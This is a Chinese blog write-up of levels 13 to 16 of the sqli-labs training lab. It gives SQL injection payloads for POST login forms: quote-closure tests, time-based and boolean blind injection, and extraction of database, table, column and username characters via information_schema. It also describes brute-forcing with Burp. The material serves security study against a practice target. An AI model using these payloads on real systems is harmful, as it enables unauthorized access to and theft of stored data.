• sql-lab闯关之13-16


    LESS13
     通过尝试我们发现,在13关没有像12关那种回显,只有登陆成功与否的显示。
    12关的回显

     13关登录成功提示

     紧接着还是通过burp拿到数据包,这次我就不演示了。
    uname=admin'&passwd=admin&submit=Submit
    接下来我们构造注入语句
    我们通过这几种判断参数格式

    ’)
    ’))

    ”)
    ”))
    输入:uname=n') or 1=1#&passwd=admin&submit=Submit
    我们可以看到登陆成功了(我就不一一测试了)   格式就是第二种

    接下来我们通过猜列数
    输入:uname=n') order by 2#&passwd=admin&submit=Submit


     因为没有回显,我们考虑使用布尔盲注或者时间盲注。
     
    输入:uname=n') or if(length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit
    这个语句使用了 if 和length函数,前面的文章有讲过如何使用。
    以此判断数据库名的长度。如果数据库名字长度为8则很快加载完毕,否则加载5s 可以更改 > < 通过2分法判断,这里我直接演示,不浪费时间了就。
    可以看到成功了 根据返回时间判断数据库名字长度为8

     接下来我们使用left函数猜测数据库名字具体为什么。
    输入:uname=n') or left(database(),1)='a'#&passwd=admin&submit=Submit
    这里我猜测第一个字母为a 显示失败  我们可以更改数字1 来猜测不同位置的字母。
    剩下我就省略了 数据库名字为 security
    注意: 我们可以不用= 也可以用 > 例如我们猜测>a 如果返回1 则第一个字母比a 大 就是a 后面的字母

     查表:
    输入:uname=n') or left((select table_name from information_schema.tables where table_schema= 'security' limit 0,1),1)='e'#&passwd=admin&submit=Submit

     

     在mysql 命令行中我们进入security中第一个表就是emails 所以猜测显示成功。

    这种方法就是比较慢。推荐使用burp暴力破解。
    通过burp抓包发送到暴力破解模块,清除后 然后选中a 包裹添加,开始暴力破解。

     

     开始暴力破解、 通过返回数据长度即可判断正确的数据

    LESS14
    14关和13关完全相同,只是数据包裹的格式变为“”,步骤完全相同,参考上面

    LESS15

    15关也和前两关相同,只是数据包裹的格式变为‘’,步骤完全相同,参考上面

    这写下步骤代码(其实和上面一样):

    1. uname=admin&passwd=a“&submit=Submit 构造:1‘ or 1=1# 在这里判断列数没有实际意义了

    2. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度

    3. uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit

    4. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a

    5. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g

    6. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询


    LESS16

    16关也和前两关相同,只是数据包裹的格式变为(“”),步骤完全相同,参考上面

  • 相关阅读:
    yii之behaviors
    查看windows系统信息
    idm chrome扩展被阻止解决办法
    音乐乐理基础
    bootstrap4
    七牛上传整合CI
    提升上传速度
    卡漫绘图
    指针的操作
    定语从句八个易混淆
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12392314.html
Copyright © 2020-2023  润新知